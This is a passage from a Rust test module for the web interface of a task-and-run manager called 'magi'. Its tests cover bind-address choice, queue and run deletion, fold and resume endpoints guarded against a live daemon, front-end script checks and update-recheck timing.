8931 assert_eq!(addr, asked);
8932 assert!(
8933 warning.is_none(),
8934 "an operator who named an address gets no lecture"
8935 );
8936 }
8937
8938 #[test]
8939 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8940 let (addr, warning) = resolve_bind(&Bind::Auto);
8941
8942 match addr {
8949 IpAddr::V4(ip) if is_tailnet(&ip) => {
8950 assert!(warning.is_none(), "a tailnet address needs no warning");
8951 }
8952 other => {
8953 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8954 let warning = warning.expect("a fallback has to explain itself");
8955 assert!(
8956 warning.contains("127.0.0.1") && warning.contains("local-only"),
8957 "the warning says what happened and what it costs: {warning}"
8958 );
8959 }
8960 }
8961 }
8962
8963 #[test]
8964 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8965 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8969 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8970 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8971 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8972 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8973 }
8974
8975 #[test]
8976 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8977 let ids = vec![
8978 "20260902-140501-aaaa".to_owned(),
8979 "20260902-140502-aabb".to_owned(),
8980 ];
8981
8982 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8983 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8984 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8985
8986 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8987 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8988 assert_eq!(short, "20260902-140502-aabb");
8989 }
8990 #[tokio::test]
8991 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8992 let fx = Fixture::start().await;
8998 let id = panel(
8999 &fx,
9000 "<img src=\"shot.png\">",
9001 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
9002 );
9003
9004 let doc = fx
9006 .get(&format!("/api/questions/{id}/panel/index.html"))
9007 .await;
9008 assert_eq!(doc.status, 200, "{}", doc.body);
9009 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
9010
9011 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
9012 assert_eq!(sibling.status, 200, "{}", sibling.body);
9013 assert_eq!(sibling.header("content-type"), Some("image/png"));
9014 assert_eq!(
9015 sibling.header("content-security-policy"),
9016 Some(PANEL_CSP),
9017 "the sibling route must carry the same policy as the asset route"
9018 );
9019
9020 assert_eq!(
9023 fx.head(&format!("/api/questions/{id}/panel")).await.status,
9024 200
9025 );
9026 }
9027
9028 #[test]
9029 fn runs_revision_moves_when_deleting_an_older_run() {
9030 let temp = TempDir::new().expect("tempdir");
9031 let runs = temp.path().join("runs");
9032 std::fs::create_dir_all(&runs).expect("create runs dir");
9033
9034 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
9035
9036 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
9037 std::thread::sleep(Duration::from_millis(10));
9038 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
9039
9040 let rev_before = runs_revision(&runs);
9041 assert!(rev_before > 0);
9042
9043 let old_dir = runs.join("20260901-100000-old1");
9044 std::fs::remove_dir_all(&old_dir).expect("remove old run");
9045
9046 let rev_after = runs_revision(&runs);
9047 assert_ne!(
9048 rev_before, rev_after,
9049 "deleting an older run must change the revision so other clients see the deletion"
9050 );
9051 }
9052
9053 fn write_state(runs: &FsPath, state: &RunState) {
9058 let dir = runs.join(&state.id);
9059 std::fs::create_dir_all(&dir).expect("run dir");
9060 std::fs::write(
9061 dir.join("run.json"),
9062 serde_json::to_string_pretty(state).expect("serialize run"),
9063 )
9064 .expect("write run.json");
9065 }
9066
9067 #[test]
9072 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
9073 let temp = TempDir::new().expect("tempdir");
9074 let runs = temp.path().join("runs");
9075 std::fs::create_dir_all(&runs).expect("create runs dir");
9076 let mut state = RunState::new(
9077 PathBuf::from("/repo/magi"),
9078 "main".to_owned(),
9079 "0123456789abcdef".to_owned(),
9080 "task".to_owned(),
9081 Config::default(),
9082 );
9083 state.id = "20260902-100000-c0de".to_owned();
9084 write_state(&runs, &state);
9085
9086 let rev_idle = runs_revision(&runs);
9087 std::thread::sleep(Duration::from_millis(10));
9088 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
9089 write_state(&runs, &state);
9090 let rev_started = runs_revision(&runs);
9091 assert_ne!(
9092 rev_idle, rev_started,
9093 "a seat starting must move the revision"
9094 );
9095
9096 std::thread::sleep(Duration::from_millis(10));
9097 state.seat_finished("judge-1");
9098 write_state(&runs, &state);
9099 let rev_finished = runs_revision(&runs);
9100 assert_ne!(
9101 rev_started, rev_finished,
9102 "and clearing it again must move the revision a second time"
9103 );
9104 }
9105
9106 #[tokio::test]
9107 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9108 let fx = Fixture::start().await;
9113 let q = fx.queue();
9114
9115 let mut t = Task::new(
9116 "Task".to_owned(),
9117 "Instruction".to_owned(),
9118 PathBuf::from("/repo"),
9119 Source::Human,
9120 );
9121 t.block(
9122 vec!["20260101-000000-dead".to_owned()],
9123 Some("waiting on Task 1".to_owned()),
9124 );
9125 t.answers.push(crate::queue::AnsweredQuestion {
9126 question: "Which backend?".to_owned(),
9127 answer: "SQLite".to_owned(),
9128 });
9129 q.put(&mut t).expect("put t");
9130
9131 let res = fx.get("/api/queue").await;
9132 assert_eq!(res.status, 200);
9133 let list = res.json();
9134 let view = list
9135 .as_array()
9136 .expect("array")
9137 .iter()
9138 .find(|v| v["id"] == t.id)
9139 .expect("task in list");
9140 assert_eq!(view["status_str"], "blocked");
9141 assert_eq!(
9142 view["blocked_by"],
9143 serde_json::json!(["20260101-000000-dead"])
9144 );
9145 assert_eq!(view["block_reason"], "waiting on Task 1");
9146 assert_eq!(view["answers"][0]["question"], "Which backend?");
9147 assert_eq!(view["answers"][0]["answer"], "SQLite");
9148
9149 let res = fx
9153 .post(&format!("/api/queue/{}/hold", t.short()), None)
9154 .await;
9155 assert_eq!(res.status, 200);
9156 let held = res.json();
9157 assert_eq!(held["status_str"], "held");
9158 assert_eq!(held["blocked_by"], serde_json::json!([]));
9159 assert!(held["block_reason"].is_null());
9160 assert_eq!(held["answers"][0]["answer"], "SQLite");
9161 }
9162
9163 #[tokio::test]
9164 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9165 let fx = Fixture::start().await;
9166 let q = fx.queue();
9167 let mk = |title: &str| {
9168 Task::new(
9169 title.to_owned(),
9170 "Instruction".to_owned(),
9171 PathBuf::from("/repo"),
9172 Source::Human,
9173 )
9174 };
9175 let mut root = mk("root");
9176 root.hold_manual(Some("waiting".to_owned()));
9177 q.put(&mut root).unwrap();
9178 let mut mid = mk("mid");
9179 mid.block(vec![root.id.clone()], None);
9180 q.put(&mut mid).unwrap();
9181 let mut leaf = mk("leaf");
9182 leaf.block(vec![mid.id.clone()], None);
9183 q.put(&mut leaf).unwrap();
9184
9185 let list = fx.get("/api/queue").await.json();
9186 let find = |id: &str| {
9187 list.as_array()
9188 .unwrap()
9189 .iter()
9190 .find(|v| v["id"] == id)
9191 .unwrap()
9192 .clone()
9193 };
9194 let leaf_view = find(&leaf.id);
9195 assert_eq!(
9196 leaf_view["waits_on"],
9197 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9198 );
9199 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9200 assert_eq!(
9201 find(&mid.id)["waits_on"],
9202 serde_json::json!([format!("{} (held)", root.short())])
9203 );
9204 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9205 }
9206
9207 #[tokio::test]
9208 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9209 let fx = Fixture::start().await;
9210 let q = fx.queue();
9211
9212 let mut t1 = Task::new(
9214 "Task 1".to_owned(),
9215 "Instruction 1".to_owned(),
9216 PathBuf::from("/repo"),
9217 Source::Human,
9218 );
9219 let run_id = "20260901-000000-r111";
9220 t1.runs.push(run_id.to_owned());
9221 write_run(&fx.runs(), run_id, RunStatus::Merged);
9222 q.put(&mut t1).expect("put t1");
9223
9224 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9226 assert_eq!(res.status, 204);
9227 assert!(res.body.is_empty(), "204 No Content has no body");
9228 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9229 assert!(
9230 fx.runs().join(run_id).exists(),
9231 "run directory must not be deleted when its task is deleted"
9232 );
9233
9234 let mut t2 = Task::new(
9236 "Task 2".to_owned(),
9237 "Instruction 2".to_owned(),
9238 PathBuf::from("/repo"),
9239 Source::Human,
9240 );
9241 t2.status = TaskStatus::Running;
9242 q.put(&mut t2).expect("put t2");
9243 let mut beat = crate::daemon::Status::new();
9244 beat.current = vec![crate::daemon::Current {
9245 task: t2.id.clone(),
9246 run: "20260901-000000-r222".to_owned(),
9247 }];
9248 beat.updated_at = jiff::Timestamp::now();
9249 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9250 .expect("publish a heartbeat");
9251 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9252 assert_eq!(res.status, 409);
9253 assert!(
9254 res.json()["error"]
9255 .as_str()
9256 .unwrap()
9257 .contains("live daemon")
9258 );
9259 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9260
9261 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9267 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9268 .expect("leave a stale heartbeat");
9269 let mut t3 = Task::new(
9270 "Task 3".to_owned(),
9271 "Instruction 3".to_owned(),
9272 PathBuf::from("/repo"),
9273 Source::Human,
9274 );
9275 t3.status = TaskStatus::Running;
9276 q.put(&mut t3).expect("put t3");
9277 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9278 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9279 assert_eq!(res.status, 204);
9280 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9281 assert!(
9282 q.claim(&t3.id).is_ok(),
9283 "the stale lock went with it, so the id is claimable again"
9284 );
9285
9286 let res = fx.delete("/api/queue/nonexistent").await;
9288 assert_eq!(res.status, 404);
9289 }
9290
9291 #[tokio::test]
9292 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9293 let fx = Fixture::start().await;
9294 let runs = fx.runs();
9295
9296 let run_id = "20260901-000000-fold";
9298 let mut state = RunState::new(
9299 PathBuf::from("/repo"),
9300 "main".to_owned(),
9301 "abc".to_owned(),
9302 "instruction".to_owned(),
9303 Config::default(),
9304 );
9305 state.id = run_id.to_owned();
9306 state.status = RunStatus::Merged;
9307 state.candidates.push(crate::run::Candidate {
9308 index: 0,
9309 label: 'A',
9310 agent: "a".to_owned(),
9311 branch: "b".to_owned(),
9312 worktree: PathBuf::from("/w"),
9313 summary: String::new(),
9314 stat: String::new(),
9315 files: 1,
9316 commits: 1,
9317 empty: false,
9318 failed: None,
9319 verified_noop: None,
9320 duration_ms: 0,
9321 folded: true,
9322 });
9323 let dir = runs.join(run_id);
9324 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9325 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9326 .expect("write artifact");
9327 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9328 .expect("write run.json");
9329
9330 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9332 assert_eq!(res.status, 204);
9333 assert!(res.body.is_empty(), "204 has no body");
9334 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9335
9336 let run_running = "20260901-000000-rung";
9341 write_run(&runs, run_running, RunStatus::Prep);
9342 let mut beat = crate::daemon::Status::new();
9343 beat.current = vec![crate::daemon::Current {
9344 task: "20260901-000000-task".to_owned(),
9345 run: run_running.to_owned(),
9346 }];
9347 beat.updated_at = jiff::Timestamp::now();
9348 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9349 .expect("publish a heartbeat");
9350 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9351 assert_eq!(res.status, 409);
9352 assert!(
9353 res.json()["error"]
9354 .as_str()
9355 .unwrap()
9356 .contains("live daemon"),
9357 "the refusal must say who is holding it"
9358 );
9359 assert!(
9360 runs.join(run_running).exists(),
9361 "a run in flight keeps its directory"
9362 );
9363
9364 let run_unfolded = "20260901-000000-unfd";
9366 let mut state2 = RunState::new(
9367 PathBuf::from("/repo"),
9368 "main".to_owned(),
9369 "abc".to_owned(),
9370 "instruction".to_owned(),
9371 Config::default(),
9372 );
9373 state2.id = run_unfolded.to_owned();
9374 state2.status = RunStatus::Ready;
9375 state2.candidates.push(crate::run::Candidate {
9376 index: 0,
9377 label: 'A',
9378 agent: "a".to_owned(),
9379 branch: "b".to_owned(),
9380 worktree: PathBuf::from("/w"),
9381 summary: String::new(),
9382 stat: String::new(),
9383 files: 1,
9384 commits: 1,
9385 empty: false,
9386 failed: None,
9387 verified_noop: None,
9388 duration_ms: 0,
9389 folded: false,
9390 });
9391 let dir2 = runs.join(run_unfolded);
9392 std::fs::create_dir_all(&dir2).expect("create dir2");
9393 std::fs::write(
9394 dir2.join("run.json"),
9395 serde_json::to_string(&state2).unwrap(),
9396 )
9397 .expect("write run.json");
9398
9399 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9400 assert_eq!(res.status, 409);
9401 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9402 assert!(dir2.exists(), "unfolded run directory is kept");
9403
9404 let res = fx.delete("/api/runs/nonexistent").await;
9406 assert_eq!(res.status, 404);
9407 }
9408
9409 #[test]
9418 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9419 let start = APP_JS
9420 .find("function renderStats() {")
9421 .expect("renderStats");
9422 let end = start
9423 + APP_JS[start..]
9424 .find("function statsTile(")
9425 .expect("the next top-level function");
9426 let body = &APP_JS[start..end];
9427
9428 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9429 let gate_end = gate_start
9430 + body[gate_start..]
9431 .find("}\n renderStatsQueue")
9432 .expect("the gate's own closing brace, right before the unconditional call");
9433 let gated = &body[gate_start..gate_end];
9434
9435 assert_eq!(
9436 body.matches("renderStatsQueue(").count(),
9437 1,
9438 "renderStats must call renderStatsQueue exactly once: {body}"
9439 );
9440 assert!(
9441 !gated.contains("renderStatsQueue"),
9442 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9443 run-derived panels on an empty run history - the queue panel has to render \
9444 regardless: {gated}"
9445 );
9446 }
9447
9448 #[test]
9449 fn web_ui_delete_contract_in_front_end() {
9450 assert!(APP_JS.contains("deleteRun:"));
9452 assert!(APP_JS.contains("deleteTask:"));
9453
9454 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9456 ..APP_JS.find("function renderRuns").unwrap()];
9457 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9458
9459 assert!(APP_JS.contains("renderRunDelete"));
9461 assert!(APP_JS.contains("runDeleteReason"));
9462 assert!(APP_JS.contains("magi fold"));
9463 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9464
9465 assert!(APP_JS.contains("cancel.focus"));
9467 assert!(APP_JS.contains("armedRunDelete"));
9468 assert!(APP_JS.contains("armedDelete"));
9469
9470 assert!(APP_JS.contains("disabled: status === \"running\""));
9472 }
9473
9474 #[test]
9494 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9495 let build = APP_JS
9496 .find("function createRunCard")
9497 .expect("createRunCard exists");
9498 let update = APP_JS
9499 .find("function updateRunCard")
9500 .expect("updateRunCard exists");
9501 let end = APP_JS
9502 .find("function renderRuns")
9503 .expect("renderRuns exists");
9504
9505 let builder = &APP_JS[build..update];
9507 let open = builder.find("refs = {").expect("createRunCard sets refs");
9508 let literal = &builder[open + "refs = {".len()..];
9509 let close = literal.find('}').expect("the refs literal is closed");
9510 let published: HashSet<&str> = literal[..close]
9511 .split(',')
9512 .filter_map(|entry| entry.split(':').next())
9514 .map(str::trim)
9515 .filter(|name| !name.is_empty())
9516 .collect();
9517 assert!(
9518 published.len() > 5,
9519 "the refs literal did not parse into names: {published:?}"
9520 );
9521
9522 let mut used: Vec<&str> = Vec::new();
9525 let updaters = &APP_JS[update..end];
9526 for (at, _) in updaters.match_indices("r.") {
9527 let before = updaters[..at].chars().next_back();
9530 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9531 continue;
9532 }
9533 let rest = &updaters[at + 2..];
9534 let len = rest
9535 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9536 .unwrap_or(rest.len());
9537 if len > 0 {
9538 used.push(&rest[..len]);
9539 }
9540 }
9541 assert!(
9542 used.len() > 5,
9543 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9544 );
9545
9546 let missing: Vec<&str> = used
9547 .iter()
9548 .copied()
9549 .filter(|name| !published.contains(name))
9550 .collect();
9551 assert!(
9552 missing.is_empty(),
9553 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9554 never put in `refs` - every card will throw and the list will \
9555 render empty under a count line that says otherwise. Published: \
9556 {published:?}"
9557 );
9558 }
9559
9560 #[tokio::test]
9561 async fn folding_from_the_phone_reports_what_it_removed() {
9562 let fx = Fixture::start().await;
9563 let runs = fx.runs();
9564
9565 let id = "20260901-000000-fold";
9569 write_run(&runs, id, RunStatus::Stalled);
9570 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9571 assert_eq!(res.status, 200);
9572 assert_eq!(res.json()["removed_count"], 0);
9573 assert_eq!(res.json()["run"], id);
9574 assert!(
9575 runs.join(id).exists(),
9576 "a fold keeps the run's record; only the worktrees go"
9577 );
9578 }
9579
9580 #[tokio::test]
9581 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9582 let fx = Fixture::start().await;
9583 let runs = fx.runs();
9584 let wt = fx.home.path().join("wt").join("magi").join("dead");
9585 let id = "20260901-000000-dead";
9586 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9587 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9588 std::fs::create_dir_all(&wt).expect("worktree dir");
9589
9590 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9591 assert_eq!(res.status, 200, "{}", res.body);
9592 assert!(
9593 res.json()["removed_count"].as_u64().unwrap() > 0,
9594 "the worktree this build could not read a state for still went"
9595 );
9596 assert!(
9597 !runs.join(id).exists(),
9598 "an unreadable run has no candidate list to fold selectively, so \
9599 the whole record goes - same as `magi fold` on the CLI"
9600 );
9601 }
9602
9603 #[tokio::test]
9604 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9605 let fx = Fixture::start().await;
9606 let runs = fx.runs();
9607 let wt = fx.home.path().join("wt").join("magi").join("gone");
9608 let id = "20260901-000000-gone";
9609 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9610 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9611 std::fs::create_dir_all(&wt).expect("worktree dir");
9612
9613 let res = fx.delete(&format!("/api/runs/{id}")).await;
9614 assert_eq!(res.status, 204, "{}", res.body);
9615 assert!(!runs.join(id).exists(), "the broken record is gone");
9616 assert!(!wt.exists(), "its worktree is gone too");
9617 }
9618
9619 #[tokio::test]
9620 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9621 let fx = Fixture::start().await;
9622 let runs = fx.runs();
9623 let id = "20260901-000000-live";
9624 write_run(&runs, id, RunStatus::Implementing);
9625
9626 let mut beat = crate::daemon::Status::new();
9627 beat.current = vec![crate::daemon::Current {
9628 task: "20260901-000000-task".to_owned(),
9629 run: id.to_owned(),
9630 }];
9631 beat.updated_at = jiff::Timestamp::now();
9632 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9633 .expect("publish a heartbeat");
9634
9635 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9636 assert_eq!(res.status, 409);
9637 assert!(
9638 res.json()["error"]
9639 .as_str()
9640 .unwrap()
9641 .contains("live daemon"),
9642 "folding under a running agent would pull its worktree away"
9643 );
9644 }
9645
9646 #[tokio::test]
9647 async fn fold_merged_requires_a_pr_url() {
9648 let fx = Fixture::start().await;
9649 let runs = fx.runs();
9650 let id = "20260901-000000-nourl";
9651 write_run(&runs, id, RunStatus::Blocked);
9652
9653 let res = fx
9654 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9655 .await;
9656 assert_eq!(res.status, 400, "{}", res.body);
9657
9658 let blank = fx
9659 .post(
9660 &format!("/api/runs/{id}/fold-merged"),
9661 Some(r#"{"pr_url":" "}"#),
9662 )
9663 .await;
9664 assert_eq!(blank.status, 400, "{}", blank.body);
9665 }
9666
9667 #[tokio::test]
9668 async fn fold_merged_is_404_for_an_unknown_run() {
9669 let fx = Fixture::start().await;
9670 let res = fx
9671 .post(
9672 "/api/runs/nosuchrun/fold-merged",
9673 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9674 )
9675 .await;
9676 assert_eq!(res.status, 404, "{}", res.body);
9677 }
9678
9679 #[tokio::test]
9680 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9681 let fx = Fixture::start().await;
9682 let runs = fx.runs();
9683 let id = "20260901-000000-livemerge";
9684 write_run(&runs, id, RunStatus::Blocked);
9685
9686 let mut beat = crate::daemon::Status::new();
9687 beat.current = vec![crate::daemon::Current {
9688 task: "20260901-000000-task".to_owned(),
9689 run: id.to_owned(),
9690 }];
9691 beat.updated_at = jiff::Timestamp::now();
9692 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9693 .expect("publish a heartbeat");
9694
9695 let res = fx
9696 .post(
9697 &format!("/api/runs/{id}/fold-merged"),
9698 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9699 )
9700 .await;
9701 assert_eq!(res.status, 409, "{}", res.body);
9702 assert!(
9703 res.json()["error"]
9704 .as_str()
9705 .unwrap()
9706 .contains("live daemon"),
9707 "correcting a run's merge underneath a running agent would race \
9708 whatever it is doing to the same `status`/`merge` fields"
9709 );
9710 }
9711
9712 #[tokio::test]
9717 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9718 let fx = Fixture::start().await;
9719 let runs = fx.runs();
9720 let id = "20260901-000000-unconfirmed";
9721 write_run(&runs, id, RunStatus::Blocked);
9722
9723 let res = fx
9724 .post(
9725 &format!("/api/runs/{id}/fold-merged"),
9726 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9727 )
9728 .await;
9729 assert_eq!(res.status, 400, "{}", res.body);
9730 assert_eq!(
9731 read_run(&runs, id).unwrap().status,
9732 RunStatus::Blocked,
9733 "a pull request that could not be confirmed merged must leave \
9734 the run exactly where it was"
9735 );
9736 }
9737
9738 #[tokio::test]
9739 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9740 let fx = Fixture::start().await;
9741 let runs = fx.runs();
9742
9743 for (status, word) in [
9749 (RunStatus::Merged, "merged"),
9750 (RunStatus::Ready, "ready"),
9751 (RunStatus::Failed, "failed"),
9752 ] {
9753 let id = format!("20260901-000000-{}", &word[..4]);
9754 write_run(&runs, &id, status);
9755 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9756 assert_eq!(res.status, 409, "{word} must not be resumable");
9757 let err = res.json()["error"].as_str().unwrap().to_owned();
9758 assert!(err.contains(word), "the refusal names the status: {err}");
9759 }
9760
9761 let mid = "20260901-000000-midf";
9766 write_run(&runs, mid, RunStatus::Reviewing);
9767 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9768 assert_eq!(res.status, 202, "an interrupted run is resumable");
9769 }
9770
9771 #[tokio::test]
9772 async fn resume_is_refused_while_the_loop_is_running() {
9773 let fx = Fixture::start().await;
9774 let runs = fx.runs();
9775 let stalled = "20260901-000000-stal";
9776 write_run(&runs, stalled, RunStatus::Stalled);
9777
9778 let mut beat = crate::daemon::Status::new();
9782 beat.current = vec![crate::daemon::Current {
9783 task: "20260901-000000-task".to_owned(),
9784 run: "20260901-000000-othr".to_owned(),
9785 }];
9786 beat.updated_at = jiff::Timestamp::now();
9787 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9788 .expect("publish a heartbeat");
9789
9790 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9791 assert_eq!(res.status, 409);
9792 let err = res.json()["error"].as_str().unwrap().to_owned();
9793 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9794 assert!(err.contains("stop it first"), "{err}");
9795 }
9796
9797 #[test]
9798 fn a_run_cannot_be_resumed_twice_at_once() {
9799 let home = TempDir::new().expect("temp home");
9800 let ui = Ui::new(
9801 Queue::at(home.path().join("queue")),
9802 Questions::at(home.path().join("questions")),
9803 Talks::at(home.path().join("talks")),
9804 home.path().join("runs"),
9805 home.path().to_path_buf(),
9806 PathBuf::from("/repo"),
9807 )
9808 .with_worktrees_root(home.path().join("wt"));
9809 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9810 let again = ui.begin_resume("20260901-000000-once");
9811 assert!(again.is_err(), "a second tap must not start a second graph");
9812 drop(first);
9813 assert!(
9814 ui.begin_resume("20260901-000000-once").is_ok(),
9815 "and the claim is released when the attempt ends"
9816 );
9817 }
9818
9819 #[test]
9820 fn talk_thinking_tracks_only_its_held_turn_claim() {
9821 let home = TempDir::new().expect("temp home");
9822 let ui = Ui::new(
9823 Queue::at(home.path().join("queue")),
9824 Questions::at(home.path().join("questions")),
9825 Talks::at(home.path().join("talks")),
9826 home.path().join("runs"),
9827 home.path().to_path_buf(),
9828 PathBuf::from("/repo"),
9829 )
9830 .with_worktrees_root(home.path().join("wt"));
9831 let id = "20260901-000000-once";
9832
9833 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9834 let turn = ui.begin_talk_turn(id).expect("claim turn");
9835 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9836 assert!(
9837 !ui.is_thinking("20260901-000000-other"),
9838 "one talk's turn does not make another talk busy"
9839 );
9840 drop(turn);
9841 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9842 }
9843
9844 #[tokio::test]
9845 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9846 let fx = Fixture::start().await;
9847 let mut beat = crate::daemon::Status::new();
9851 beat.pid = 4321;
9852 beat.updated_at = jiff::Timestamp::now();
9853 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9854 .expect("publish a heartbeat");
9855
9856 let res = fx.post("/api/upgrade", None).await;
9857 assert_eq!(res.status, 409);
9858 let err = res.json()["error"].as_str().unwrap().to_owned();
9859 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9860 assert!(err.contains("old one against the same queue"), "{err}");
9861 }
9862
9863 #[test]
9870 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9871 assert!(!should_spawn_recheck(&crate::config::Update {
9872 mode: UpdateMode::Off,
9873 interval: None,
9874 }));
9875
9876 unsafe {
9879 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9880 }
9881 let killed = should_spawn_recheck(&crate::config::Update {
9882 mode: UpdateMode::Notify,
9883 interval: None,
9884 });
9885 unsafe {
9886 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9887 }
9888 assert!(
9889 !killed,
9890 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9891 one-time startup check"
9892 );
9893
9894 assert!(should_spawn_recheck(&crate::config::Update {
9895 mode: UpdateMode::Notify,
9896 interval: None,
9897 }));
9898 }
9899
9900 #[test]
9906 fn recheck_poll_period_tracks_a_short_configured_interval() {
9907 let short = crate::config::Update {
9908 mode: UpdateMode::Notify,
9909 interval: Some("1m".to_owned()),
9910 };
9911 let period = recheck_poll_period(&short);
9912 assert!(
9913 period <= Duration::from_secs(30),
9914 "a one-minute interval must wake the task far sooner than the \
9915 default ceiling, or the deck would not notice within the \
9916 interval the operator configured: got {period:?}"
9917 );
9918
9919 let default = crate::config::Update {
9920 mode: UpdateMode::Notify,
9921 interval: None,
9922 };
9923 assert_eq!(
9924 recheck_poll_period(&default),
9925 UPDATE_RECHECK_POLL_MAX,
9926 "the default day-long interval should poll at the (capped) \
9927 ceiling rather than needlessly often"
9928 );
9929 }
9930
9931 #[test]
9939 fn recheck_skips_the_network_before_the_interval_elapses() {
9940 let dir = TempDir::new().expect("temp dir");
9941 let path = dir.path().join("state.json");
9942 let state = kaishin::UpdateCheckState {
9943 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9944 last_known_latest: None,
9945 last_known_url: None,
9946 };
9947 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9948
9949 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9950 assert!(
9951 !update_recheck_due(&checker, None),
9952 "a check made moments ago must not be repeated before the \
9953 configured interval elapses"
9954 );
9955 }
9956
9957 #[test]
9963 fn recheck_defers_to_an_upgrade_already_in_flight() {
9964 let dir = TempDir::new().expect("temp dir");
9965 let path = dir.path().join("state.json");
9966 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9967 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9968
9969 assert!(
